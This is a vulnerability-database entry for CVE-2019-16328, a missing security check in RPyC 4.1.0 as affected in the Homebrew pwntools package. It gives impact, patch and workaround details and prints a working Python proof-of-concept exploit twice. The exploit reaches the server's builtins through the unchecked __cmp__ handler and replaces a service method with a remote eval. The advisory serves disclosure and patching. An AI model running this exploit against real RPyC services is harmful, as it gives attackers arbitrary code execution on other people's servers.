BREW-PWNTOOLS-CVE-2019-16328 (GHSA-PJ4G-4488-WMXM)

Vulnerability from osv_homebrew – Published: 2026-08-13 17:29 – Updated: 2026-09-10 00:59 – Source website
VLAI
Summary
Dynamic modification of RPyC service due to missing security check
Details

Impact

Version 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.

Patches

Git commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.

Workarounds

The commit d818ecc83a92548994db75a0e9c419c7bce680d6 could be used as a patch to add the missing access check.

References

CVE-2019-16328 RPyC Security Documentation

For more information

If you have any questions or comments about this advisory: * Open an issue using GitHub

Proof of Concept

import logging
import rpyc
import tempfile
from subprocess import Popen, PIPE
import unittest


PORT = 18861
SERVER_SCRIPT = f"""#!/usr/bin/env python
import rpyc
from rpyc.utils.server import ThreadedServer, ThreadPoolServer
from rpyc import SlaveService
import rpyc


class Foe(object):
    foo = "bar"


class Fee(rpyc.Service):
    exposed_Fie = Foe

    def exposed_nop(self):
        return


if __name__ == "__main__":
    server = ThreadedServer(Fee, port={PORT}, auto_register=False)
    thd = server.start()
"""


def setattr_orig(target, attrname, codeobj):
    setattr(target, attrname, codeobj)


def myeval(self=None, cmd="__import__('sys')"):
    return eval(cmd)


def get_code(obj_codetype, func, filename=None, name=None):
    func_code = func.__code__
    arg_names = ['co_argcount', 'co_posonlyargcount', 'co_kwonlyargcount', 'co_nlocals', 'co_stacksize', 'co_flags',
                 'co_code', 'co_consts', 'co_names', 'co_varnames', 'co_filename', 'co_name', 'co_firstlineno',
                 'co_lnotab', 'co_freevars', 'co_cellvars']

    codetype_args = [getattr(func_code, n) for n in arg_names]
    if filename:
        codetype_args[arg_names.index('co_filename')] = filename
    if name:
        codetype_args[arg_names.index('co_name')] = name
    mycode = obj_codetype(*codetype_args)
    return mycode


def _vercmp_gt(ver1, ver2):
    ver1_gt_ver2 = False
    for i, v1 in enumerate(ver1):
        v2 = ver2[i]
        if v1 > v2:
            ver1_gt_ver2 = True
            break
        elif v1 == v2:
            continue
        else:  # v1 < v2
            break
    return ver1_gt_ver2


@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), "unaffected version")
class Test_InfoDisclosure_Service(unittest.TestCase):

    @classmethod
    def setUpClass(cls):

        cls.logger = logging.getLogger('rpyc')
        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred
        cls.hscript = tempfile.NamedTemporaryFile()
        cls.hscript.write(SERVER_SCRIPT.encode())
        cls.hscript.flush()
        while cls.hscript.file.tell() != len(SERVER_SCRIPT):
            pass
        cls.server = Popen(["python", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)
        cls.conn = rpyc.connect("localhost", PORT)

    @classmethod
    def tearDownClass(cls):
        cls.conn.close()
        cls.logger.info(cls.server.stdout.read())
        cls.logger.info(cls.server.stderr.read())
        cls.server.kill()
        cls.hscript.close()

    def netref_getattr(self, netref, attrname):
        # PoC CWE-358: abuse __cmp__ function that was missing a security check
        handler = rpyc.core.consts.HANDLE_CMP
        return self.conn.sync_request(handler, netref, attrname, '__getattribute__')

    def test_1_modify_nop(self):
        # create netrefs for builtins and globals that will be used to construct on remote
        remote_svc_proto = self.netref_getattr(self.conn.root, '_protocol')
        remote_dispatch = self.netref_getattr(remote_svc_proto, '_dispatch_request')
        remote_class_globals = self.netref_getattr(remote_dispatch, '__globals__')
        remote_modules = self.netref_getattr(remote_class_globals['sys'], 'modules')
        _builtins = remote_modules['builtins']
        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}

        # populate globals for CodeType calls on remote
        remote_globals = remote_builtins['dict']()
        for name, netref in remote_builtins.items():
            remote_globals[name] = netref
        for name, netref in self.netref_getattr(remote_modules, 'items')():
            remote_globals[name] = netref

        # create netrefs for types to create remote function malicously
        remote_types = remote_builtins['__import__']("types")
        remote_types_CodeType = self.netref_getattr(remote_types, 'CodeType')
        remote_types_FunctionType = self.netref_getattr(remote_types, 'FunctionType')

        # remote eval function constructed
        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename='test_code.py', name='__code__')
        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)
        # PoC CWE-913: modify the exposed_nop of service
        #   by binding various netrefs in this execution frame, they are cached in
        #   the remote address space. setattr and eval functions are cached for the life
        #   of the netrefs in the frame. A consequence of Netref classes inheriting
        #   BaseNetref, each object is cached under_local_objects. So, we are able
        #   to construct arbitrary code using types and builtins.

        # use the builtin netrefs to modify the service to use the constructed eval func
        remote_setattr = remote_builtins['setattr']
        remote_type = remote_builtins['type']
        remote_setattr(remote_type(self.conn.root), 'exposed_nop', remote_eval)

        # show that nop was replaced by eval to complete the PoC
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)

    def test_2_new_conn_impacted(self):
        # demostrate impact and scope of vuln for new connections
        self.conn.close()
        self.conn = rpyc.connect("localhost", PORT)
        # show new conn can still use nop as eval
        remote_sys = self.conn.root.nop('__import__("sys")')
        remote_stack = self.conn.root.nop('"".join(__import__("traceback").format_stack())')
        self.assertEqual(type(remote_sys).__name__, 'builtins.module')
        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)
        self.assertIn('rpyc/utils/server.py', remote_stack)


if __name__ == "__main__":
    unittest.main()
Severity
8.5 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "rpyc",
        "resource_purl": "pkg:pypi/rpyc@6.0.2",
        "upstream_fixed_in": "4.1.1"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "pwntools",
        "purl": "pkg:brew/pwntools"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.15.0_9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/rpyc@6.0.2",
        "name": "rpyc",
        "resource": "rpyc",
        "strategy": "registry",
        "subject_version": "6.0.2"
      }
    ]
  },
  "details": "### Impact\nVersion 4.1.0 of RPyC has a vulnerability that affects custom RPyC services making it susceptible to authenticated remote attacks.\n\n### Patches\nGit commits between September 2018 and October 2019 and version 4.1.0 are vulnerable. Use a version of RPyC that is not affected.\n\n### Workarounds\nThe commit `d818ecc83a92548994db75a0e9c419c7bce680d6` could be used as a patch to add the missing access check.\n\n### References\n[CVE-2019-16328](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16328)\n[RPyC Security Documentation](https://rpyc.readthedocs.io/en/latest/docs/security.html#security)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue using [GitHub](https://github.com/tomerfiliba-org/rpyc)\n\n### Proof of Concept\n```\nimport logging\nimport rpyc\nimport tempfile\nfrom subprocess import Popen, PIPE\nimport unittest\n\n\nPORT = 18861\nSERVER_SCRIPT = f\"\"\"#!/usr/bin/env python\nimport rpyc\nfrom rpyc.utils.server import ThreadedServer, ThreadPoolServer\nfrom rpyc import SlaveService\nimport rpyc\n\n\nclass Foe(object):\n    foo = \"bar\"\n\n\nclass Fee(rpyc.Service):\n    exposed_Fie = Foe\n\n    def exposed_nop(self):\n        return\n\n\nif __name__ == \"__main__\":\n    server = ThreadedServer(Fee, port={PORT}, auto_register=False)\n    thd = server.start()\n\"\"\"\n\n\ndef setattr_orig(target, attrname, codeobj):\n    setattr(target, attrname, codeobj)\n\n\ndef myeval(self=None, cmd=\"__import__(\u0027sys\u0027)\"):\n    return eval(cmd)\n\n\ndef get_code(obj_codetype, func, filename=None, name=None):\n    func_code = func.__code__\n    arg_names = [\u0027co_argcount\u0027, \u0027co_posonlyargcount\u0027, \u0027co_kwonlyargcount\u0027, \u0027co_nlocals\u0027, \u0027co_stacksize\u0027, \u0027co_flags\u0027,\n                 \u0027co_code\u0027, \u0027co_consts\u0027, \u0027co_names\u0027, \u0027co_varnames\u0027, \u0027co_filename\u0027, \u0027co_name\u0027, \u0027co_firstlineno\u0027,\n                 \u0027co_lnotab\u0027, \u0027co_freevars\u0027, \u0027co_cellvars\u0027]\n\n    codetype_args = [getattr(func_code, n) for n in arg_names]\n    if filename:\n        codetype_args[arg_names.index(\u0027co_filename\u0027)] = filename\n    if name:\n        codetype_args[arg_names.index(\u0027co_name\u0027)] = name\n    mycode = obj_codetype(*codetype_args)\n    return mycode\n\n\ndef _vercmp_gt(ver1, ver2):\n    ver1_gt_ver2 = False\n    for i, v1 in enumerate(ver1):\n        v2 = ver2[i]\n        if v1 \u003e v2:\n            ver1_gt_ver2 = True\n            break\n        elif v1 == v2:\n            continue\n        else:  # v1 \u003c v2\n            break\n    return ver1_gt_ver2\n\n\n@unittest.skipIf(not _vercmp_gt(rpyc.__version__, (3, 4, 4)), \"unaffected version\")\nclass Test_InfoDisclosure_Service(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n\n        cls.logger = logging.getLogger(\u0027rpyc\u0027)\n        cls.logger.setLevel(logging.DEBUG)  # NOTSET only traverses until another level is found, so DEBUG is preferred\n        cls.hscript = tempfile.NamedTemporaryFile()\n        cls.hscript.write(SERVER_SCRIPT.encode())\n        cls.hscript.flush()\n        while cls.hscript.file.tell() != len(SERVER_SCRIPT):\n            pass\n        cls.server = Popen([\"python\", cls.hscript.name], stdout=PIPE, stderr=PIPE, text=True)\n        cls.conn = rpyc.connect(\"localhost\", PORT)\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.conn.close()\n        cls.logger.info(cls.server.stdout.read())\n        cls.logger.info(cls.server.stderr.read())\n        cls.server.kill()\n        cls.hscript.close()\n\n    def netref_getattr(self, netref, attrname):\n        # PoC CWE-358: abuse __cmp__ function that was missing a security check\n        handler = rpyc.core.consts.HANDLE_CMP\n        return self.conn.sync_request(handler, netref, attrname, \u0027__getattribute__\u0027)\n\n    def test_1_modify_nop(self):\n        # create netrefs for builtins and globals that will be used to construct on remote\n        remote_svc_proto = self.netref_getattr(self.conn.root, \u0027_protocol\u0027)\n        remote_dispatch = self.netref_getattr(remote_svc_proto, \u0027_dispatch_request\u0027)\n        remote_class_globals = self.netref_getattr(remote_dispatch, \u0027__globals__\u0027)\n        remote_modules = self.netref_getattr(remote_class_globals[\u0027sys\u0027], \u0027modules\u0027)\n        _builtins = remote_modules[\u0027builtins\u0027]\n        remote_builtins = {k: self.netref_getattr(_builtins, k) for k in dir(_builtins)}\n\n        # populate globals for CodeType calls on remote\n        remote_globals = remote_builtins[\u0027dict\u0027]()\n        for name, netref in remote_builtins.items():\n            remote_globals[name] = netref\n        for name, netref in self.netref_getattr(remote_modules, \u0027items\u0027)():\n            remote_globals[name] = netref\n\n        # create netrefs for types to create remote function malicously\n        remote_types = remote_builtins[\u0027__import__\u0027](\"types\")\n        remote_types_CodeType = self.netref_getattr(remote_types, \u0027CodeType\u0027)\n        remote_types_FunctionType = self.netref_getattr(remote_types, \u0027FunctionType\u0027)\n\n        # remote eval function constructed\n        remote_eval_codeobj = get_code(remote_types_CodeType, myeval, filename=\u0027test_code.py\u0027, name=\u0027__code__\u0027)\n        remote_eval = remote_types_FunctionType(remote_eval_codeobj, remote_globals)\n        # PoC CWE-913: modify the exposed_nop of service\n        #   by binding various netrefs in this execution frame, they are cached in\n        #   the remote address space. setattr and eval functions are cached for the life\n        #   of the netrefs in the frame. A consequence of Netref classes inheriting\n        #   BaseNetref, each object is cached under_local_objects. So, we are able\n        #   to construct arbitrary code using types and builtins.\n\n        # use the builtin netrefs to modify the service to use the constructed eval func\n        remote_setattr = remote_builtins[\u0027setattr\u0027]\n        remote_type = remote_builtins[\u0027type\u0027]\n        remote_setattr(remote_type(self.conn.root), \u0027exposed_nop\u0027, remote_eval)\n\n        # show that nop was replaced by eval to complete the PoC\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n    def test_2_new_conn_impacted(self):\n        # demostrate impact and scope of vuln for new connections\n        self.conn.close()\n        self.conn = rpyc.connect(\"localhost\", PORT)\n        # show new conn can still use nop as eval\n        remote_sys = self.conn.root.nop(\u0027__import__(\"sys\")\u0027)\n        remote_stack = self.conn.root.nop(\u0027\"\".join(__import__(\"traceback\").format_stack())\u0027)\n        self.assertEqual(type(remote_sys).__name__, \u0027builtins.module\u0027)\n        self.assertIsInstance(remote_sys, rpyc.core.netref.BaseNetref)\n        self.assertIn(\u0027rpyc/utils/server.py\u0027, remote_stack)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n```",
  "id": "BREW-pwntools-CVE-2019-16328",
  "modified": "2026-09-10T00:59:03Z",
  "published": "2026-08-13T17:29:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba-org/rpyc/security/advisories/GHSA-pj4g-4488-wmxm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-16328"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tomerfiliba-org/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tomerfiliba/rpyc"
    },
    {
      "type": "WEB",
      "url": "https://rpyc.readthedocs.io/en/latest/docs/security.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-05/msg00046.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2020-06/msg00004.html"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Dynamic modification of RPyC service due to missing security check",
  "upstream": [
    "GHSA-pj4g-4488-wmxm",
    "CVE-2019-16328",
    "GHSA-9ggp-4jpr-7ppj",
    "PYSEC-2019-118"
  ]
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.